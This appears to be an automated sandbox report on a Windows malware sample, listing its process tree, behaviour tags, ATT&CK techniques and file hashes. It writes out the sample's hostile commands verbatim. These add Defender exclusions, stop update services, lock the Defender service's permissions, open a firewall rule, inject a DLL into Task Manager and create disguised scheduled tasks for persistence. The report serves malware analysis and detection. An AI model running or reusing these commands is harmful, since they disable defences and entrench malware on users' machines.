description pid Process procid_target PID 1768 wrote to memory of 2092 1768 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe 70 PID 1768 wrote to memory of 2092 1768 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe 70 PID 1768 wrote to memory of 2092 1768 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe 70 PID 2092 wrote to memory of 320 2092 SC7kQ38.exe 71 PID 2092 wrote to memory of 320 2092 SC7kQ38.exe 71 PID 2092 wrote to memory of 320 2092 SC7kQ38.exe 71 PID 320 wrote to memory of 1568 320 Wt1Pu15.exe 72 PID 320 wrote to memory of 1568 320 Wt1Pu15.exe 72 PID 320 wrote to memory of 1568 320 Wt1Pu15.exe 72 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 1568 wrote to memory of 1944 1568 1Xj23iV2.exe 74 PID 320 wrote to memory of 880 320 Wt1Pu15.exe 75 PID 320 wrote to memory of 880 320 Wt1Pu15.exe 75 PID 320 wrote to memory of 880 320 Wt1Pu15.exe 75 PID 2092 wrote to memory of 3480 2092 SC7kQ38.exe 78 PID 2092 wrote to memory of 3480 2092 SC7kQ38.exe 78 PID 2092 wrote to memory of 3480 2092 SC7kQ38.exe 78 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 3480 wrote to memory of 604 3480 6jL0mj3.exe 80 PID 1768 wrote to memory of 4188 1768 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe 81 PID 1768 wrote to memory of 4188 1768 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe 81 PID 1768 wrote to memory of 4188 1768 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe 81 PID 4188 wrote to memory of 4660 4188 7xg9RA48.exe 82 PID 4188 wrote to memory of 4660 4188 7xg9RA48.exe 82 PID 4188 wrote to memory of 4660 4188 7xg9RA48.exe 82 PID 3232 wrote to memory of 3388 3232 Process not Found 85 PID 3232 wrote to memory of 3388 3232 Process not Found 85 PID 3232 wrote to memory of 3388 3232 Process not Found 85 PID 3232 wrote to memory of 4588 3232 Process not Found 87 PID 3232 wrote to memory of 4588 3232 Process not Found 87 PID 3232 wrote to memory of 4588 3232 Process not Found 87 PID 3232 wrote to memory of 884 3232 Process not Found 89 PID 3232 wrote to memory of 884 3232 Process not Found 89 PID 3232 wrote to memory of 884 3232 Process not Found 89 PID 3232 wrote to memory of 4316 3232 Process not Found 93 PID 3232 wrote to memory of 4316 3232 Process not Found 93 PID 3232 wrote to memory of 4316 3232 Process not Found 93 PID 4316 wrote to memory of 1540 4316 7434.exe 94 PID 4316 wrote to memory of 1540 4316 7434.exe 94 PID 4316 wrote to memory of 1540 4316 7434.exe 94 PID 4316 wrote to memory of 3036 4316 7434.exe 95 PID 4316 wrote to memory of 3036 4316 7434.exe 95 PID 4316 wrote to memory of 3036 4316 7434.exe 95 PID 4316 wrote to memory of 3084 4316 7434.exe 96 PID 4316 wrote to memory of 3084 4316 7434.exe 96 PID 4316 wrote to memory of 3084 4316 7434.exe 96 PID 1540 wrote to memory of 2700 1540 InstallSetup5.exe 97 PID 1540 wrote to memory of 2700 1540 InstallSetup5.exe 97 PID 1540 wrote to memory of 2700 1540 InstallSetup5.exe 97 PID 4316 wrote to memory of 2716 4316 7434.exe 98
Processes
-
C:\Users\Admin\AppData\Local\Temp\7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe"C:\Users\Admin\AppData\Local\Temp\7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe"1⤵
- DcRat
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SC7kQ38.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SC7kQ38.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Wt1Pu15.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Wt1Pu15.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1Xj23iV2.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1Xj23iV2.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵PID:1944
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 1966⤵
- Program crash
PID:2780
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2Zq6904.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2Zq6904.exe4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:880
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6jL0mj3.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6jL0mj3.exe3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵PID:604
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7xg9RA48.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7xg9RA48.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "3⤵PID:4660
-
-
-
C:\Users\Admin\AppData\Local\Temp\3E9A.exeC:\Users\Admin\AppData\Local\Temp\3E9A.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3388
-
C:\Users\Admin\AppData\Local\Temp\3F47.exeC:\Users\Admin\AppData\Local\Temp\3F47.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4588 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 7562⤵
- Program crash
PID:2864
-
-
C:\Users\Admin\AppData\Local\Temp\411D.exeC:\Users\Admin\AppData\Local\Temp\411D.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:884
-
C:\Users\Admin\AppData\Local\Temp\7434.exeC:\Users\Admin\AppData\Local\Temp\7434.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2700
-
-
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3036 -
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4144
-
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"2⤵
- Executes dropped EXE
PID:3084 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵PID:4632
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5076 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Modifies data under HKEY_USERS
PID:992
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"4⤵PID:2112
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes5⤵
- Modifies Windows Firewall
PID:5028
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵PID:5104
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵PID:2668
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe4⤵PID:1936
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:452
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- DcRat
- Creates scheduled task(s)
PID:3576
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f5⤵PID:4352
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:2688
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1752
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:440
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵PID:4216
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- DcRat
- Creates scheduled task(s)
PID:3784
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"5⤵PID:4112
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵PID:4492
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
- Launches sc.exe
PID:3396
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵PID:3012
-
C:\Windows\SysWOW64\sc.exesc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
PID:4220
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"2⤵
- Executes dropped EXE
PID:2716
-
-
C:\Users\Admin\AppData\Local\Temp\CD80.exeC:\Users\Admin\AppData\Local\Temp\CD80.exe1⤵
- Executes dropped EXE
PID:2180 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe2⤵PID:4028
-
-
C:\Users\Admin\AppData\Local\Temp\D33E.exeC:\Users\Admin\AppData\Local\Temp\D33E.exe1⤵
- Drops startup file
- Executes dropped EXE
PID:1348 -
C:\Users\Admin\AppData\Roaming\fertyno12\client32.exe"C:\Users\Admin\AppData\Roaming\fertyno12\client32.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:1844
-
-
C:\Users\Admin\AppData\Local\Temp\DA73.exeC:\Users\Admin\AppData\Local\Temp\DA73.exe1⤵
- Executes dropped EXE
PID:3976 -
C:\Users\Admin\AppData\Local\Temp\DA73.exeC:\Users\Admin\AppData\Local\Temp\DA73.exe2⤵PID:1768
-
-
C:\Users\Admin\AppData\Local\Temp\DC87.exeC:\Users\Admin\AppData\Local\Temp\DC87.exe1⤵PID:1752
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵PID:4016
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵PID:2852
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵PID:3584
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc1⤵PID:772
-
C:\Windows\System32\sc.exesc stop UsoSvc2⤵
- Launches sc.exe
PID:4028
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3212
-
-
C:\Windows\System32\sc.exesc stop wuauserv2⤵
- Launches sc.exe
PID:2344
-
-
C:\Windows\System32\sc.exesc stop bits2⤵
- Launches sc.exe
PID:5112
-
-
C:\Windows\System32\sc.exesc stop dosvc2⤵
- Launches sc.exe
PID:3684
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }1⤵PID:2732
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵PID:4128
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 02⤵PID:788
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 02⤵PID:936
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 02⤵PID:368
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 02⤵PID:4064
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"1⤵PID:3396
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵PID:4896
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵PID:1348
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc1⤵PID:1096
-
C:\Windows\System32\sc.exesc stop UsoSvc2⤵
- Launches sc.exe
PID:4496
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2052
-
-
C:\Windows\System32\sc.exesc stop wuauserv2⤵
- Launches sc.exe
PID:4512
-
-
C:\Windows\System32\sc.exesc stop bits2⤵
- Launches sc.exe
PID:756
-
-
C:\Windows\System32\sc.exesc stop dosvc2⤵
- Launches sc.exe
PID:1616
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }1⤵PID:4424
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵PID:2932
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 02⤵PID:3456
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 02⤵PID:3036
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 02⤵PID:2816
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 02⤵PID:2584
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe"C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe" --nt-service -f "C:\Users\Admin\AppData\Local\Temp\csrss\tor\torrc" --Log "notice file C:\Users\Admin\AppData\Local\Temp\csrss\tor\log.txt"1⤵PID:4872
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵PID:2236
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
Filesize
1KB
MD5c59f53fdcc8060e77447ed9ebf9dc926
SHA10f1d44782f283b315a2ad6fe37727bdc188ea21c
SHA256cf0159b7d6cca6fe61a234db3b0902459af8a6af8b9f3e5d5c52bbb4231cd44d
SHA5121e504b99e4bc4dbf23b7545bfb2101f51ef81558eeacac41e1c9192ecf81e6017a72e89e273023df5bd806ae71ced6cef5c0f00cf91974e75a208638bfe07f20
-
Filesize
3KB
MD58592ba100a78835a6b94d5949e13dfc1
SHA163e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA51287f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
-
Filesize
1KB
MD52e78699ca4c82bebe215fa46411eebd2
SHA1e2aa452acd74c2675de88e419584aa2d91bfa35e
SHA2560b2e2698857fd0db89fd8f8a0c3708ce6f8d7c3cfbebbbbe3c9759c851140ca1
SHA512fae3ce8a6d1b7f3a2dbb18c9b35e5d05470a5135573fed2a424734abc5412666687821521e31271a1199d6645b9cb1abcaee62624a4e97b646fb08d0e5df18f7
-
Filesize
4.2MB
MD58e8b113c8ceae15aa65ca7bdbe9cb793
SHA1c5109c5158f0865ca59d645b48538665238348fa
SHA25693ec6236b564de592261c56cac7f6adbfa051bb691cc4aad6def3bf3d0046924
SHA5126d3dab940f5297afb03d311d6ca1ba5a6d6878010f8572190fe898215887e52fafc42e94f27e3c0c5a6b7825eb07e3c9775dad6dc1cae9144b43077715f09a1b
-
Filesize
4.2MB
MD58e8b113c8ceae15aa65ca7bdbe9cb793
SHA1c5109c5158f0865ca59d645b48538665238348fa
SHA25693ec6236b564de592261c56cac7f6adbfa051bb691cc4aad6def3bf3d0046924
SHA5126d3dab940f5297afb03d311d6ca1ba5a6d6878010f8572190fe898215887e52fafc42e94f27e3c0c5a6b7825eb07e3c9775dad6dc1cae9144b43077715f09a1b
-
Filesize
4.2MB
MD58e8b113c8ceae15aa65ca7bdbe9cb793
SHA1c5109c5158f0865ca59d645b48538665238348fa
SHA25693ec6236b564de592261c56cac7f6adbfa051bb691cc4aad6def3bf3d0046924
SHA5126d3dab940f5297afb03d311d6ca1ba5a6d6878010f8572190fe898215887e52fafc42e94f27e3c0c5a6b7825eb07e3c9775dad6dc1cae9144b43077715f09a1b
-
Filesize
270KB
MD508d14f9715fe88fe5260096942b4dd51
SHA1a686291dfff855a8502cfd8a8f99effce3186101
SHA256dab0e67f3eff66cbdc1b3d12e26b50a5e76c736935f755dfbea422b6e3976f88
SHA5120f64a260cf95f8ed619b6cb9b18929e43f8569effe2389a14dea9bc1fd534a49b67a6e55973223740192ea7fa46dfa82b7f9cf0d5f036e9db7c2ce084942ada2
-
Filesize
270KB
MD508d14f9715fe88fe5260096942b4dd51
SHA1a686291dfff855a8502cfd8a8f99effce3186101
SHA256dab0e67f3eff66cbdc1b3d12e26b50a5e76c736935f755dfbea422b6e3976f88
SHA5120f64a260cf95f8ed619b6cb9b18929e43f8569effe2389a14dea9bc1fd534a49b67a6e55973223740192ea7fa46dfa82b7f9cf0d5f036e9db7c2ce084942ada2
-
Filesize
406KB
MD5a8c9a333b36c8e75d8bddcb764b57ad5
SHA12a177564696110d0b6784312374111bf15d9804f
SHA2565efdfa9a381962ab18fe88c5256b0b931fbcc4879b19ad20cf9f349d404ca49c
SHA5122eea34fc923f89cd15e5c371ffef8bdee870c851a424b0ae4b49c4ec81bfede124ee5df8012d0bd1a8c90273fa61180a7dba4df18b1392fe9d1ff3c0e78aa5cf
-
Filesize
406KB
MD5a8c9a333b36c8e75d8bddcb764b57ad5
SHA12a177564696110d0b6784312374111bf15d9804f
SHA2565efdfa9a381962ab18fe88c5256b0b931fbcc4879b19ad20cf9f349d404ca49c
SHA5122eea34fc923f89cd15e5c371ffef8bdee870c851a424b0ae4b49c4ec81bfede124ee5df8012d0bd1a8c90273fa61180a7dba4df18b1392fe9d1ff3c0e78aa5cf
-
Filesize
95KB
MD50592c6d7674c77b053080c5b6e79fdcb
SHA1693339ede19093e2b4593fda93be0b140be69141
SHA256fe19cdb149ecd8fd116f048852dcc10e46a3521351102685ce25c61a7d962a14
SHA51237f2ff110b0702229b888280c8c2dff7885e6b1e583ccc47c36e74f44adfa491f70d6d6ab95d79149437d6fd9400448f1046eee3676ea98dffe99bc28e4783cb
-
Filesize
95KB
MD50592c6d7674c77b053080c5b6e79fdcb
SHA1693339ede19093e2b4593fda93be0b140be69141
SHA256fe19cdb149ecd8fd116f048852dcc10e46a3521351102685ce25c61a7d962a14
SHA51237f2ff110b0702229b888280c8c2dff7885e6b1e583ccc47c36e74f44adfa491f70d6d6ab95d79149437d6fd9400448f1046eee3676ea98dffe99bc28e4783cb
-
Filesize
12.6MB
MD5adac8c8e9cfb346c8c4f67979b28081c
SHA115bd3f97d431e2346182a3235087521d16ce4b3e
SHA25672abf8c3fb6a8203fb09cc25458d00eaf0c09b243530cddeb1cebdd110a5f607
SHA51234d47532dbe2b8333abde9fb0a2312ca79f130fc768dc3f77c01c4bb98eff5487711df9358412201206a33b41be6be2903f158e60abdf7c13af1de8965819b04
-
Filesize
12.6MB
MD5adac8c8e9cfb346c8c4f67979b28081c
SHA115bd3f97d431e2346182a3235087521d16ce4b3e
SHA25672abf8c3fb6a8203fb09cc25458d00eaf0c09b243530cddeb1cebdd110a5f607
SHA51234d47532dbe2b8333abde9fb0a2312ca79f130fc768dc3f77c01c4bb98eff5487711df9358412201206a33b41be6be2903f158e60abdf7c13af1de8965819b04
-
Filesize
5.3MB
MD500e93456aa5bcf9f60f84b0c0760a212
SHA16096890893116e75bd46fea0b8c3921ceb33f57d
SHA256ff3025f9cf19323c5972d14f00f01296d6d7a71547eca7e4016bfd0e1f27b504
SHA512abd2be819c7d93bd6097155cf84eaf803e3133a7e0ca71f9d9cbc3c65e4e4a26415d2523a36adafdd19b0751e25ea1a99b8d060cad61cdfd1f79adf9cd4b4eca
-
Filesize
15.0MB
MD58210c61dc906154922ffffda017e67cd
SHA19b554c77bd8aedd700bea47fcf9debe2069942a3
SHA2566d8d1cf3edb69a33ccf6231a554be1936787f3fb150064504db94fcf46c58914
SHA512e94818a61864a6e700ecaea8779f745bb2e2f05db7bc46406de5696aecbfb589b245d861bf89fcafa5360c2e49e76ecdef4542455c1c19be7e67ac024468b284
-
Filesize
2.2MB
MD58938df5af0d41e8100b61d8ffdeca3ad
SHA1abdefc86717bbb1715ba31f254c0ed955bdaca1b
SHA2562e94304ab31f334eaf7ebc0f15f7e923c0a59354bd820b26665f0a9d3d69e812
SHA51221e25ac9af0df50daa75101b64d3ce6a76d73bc11f515bba24a729be6be9fb89ad45558c2ee4269f79726b749aaf9941ba271b39b0dc660d8bc7858403126536
-
Filesize
2.2MB
MD58938df5af0d41e8100b61d8ffdeca3ad
SHA1abdefc86717bbb1715ba31f254c0ed955bdaca1b
SHA2562e94304ab31f334eaf7ebc0f15f7e923c0a59354bd820b26665f0a9d3d69e812
SHA51221e25ac9af0df50daa75101b64d3ce6a76d73bc11f515bba24a729be6be9fb89ad45558c2ee4269f79726b749aaf9941ba271b39b0dc660d8bc7858403126536
-
Filesize
2.1MB
MD52d07618c96108ad7a16ceec8c5278384
SHA179c77719a89bbbf450507239fae29e38c3dcdd4c
SHA256a17da745597bd2b7d664813c5d59212ab7c63ebdfcaf880576deb4be6d981f4f
SHA5121dea5504708c6a7404a727b0ff5af6a09d8176759168ae8fc2ab0a63767dade32c762e6f47f1e6a764229afd5ff7152a019abf02d26c871470b16f030c4774f0
-
Filesize
2.1MB
MD52d07618c96108ad7a16ceec8c5278384
SHA179c77719a89bbbf450507239fae29e38c3dcdd4c
SHA256a17da745597bd2b7d664813c5d59212ab7c63ebdfcaf880576deb4be6d981f4f
SHA5121dea5504708c6a7404a727b0ff5af6a09d8176759168ae8fc2ab0a63767dade32c762e6f47f1e6a764229afd5ff7152a019abf02d26c871470b16f030c4774f0
-
Filesize
2.1MB
MD52d07618c96108ad7a16ceec8c5278384
SHA179c77719a89bbbf450507239fae29e38c3dcdd4c
SHA256a17da745597bd2b7d664813c5d59212ab7c63ebdfcaf880576deb4be6d981f4f
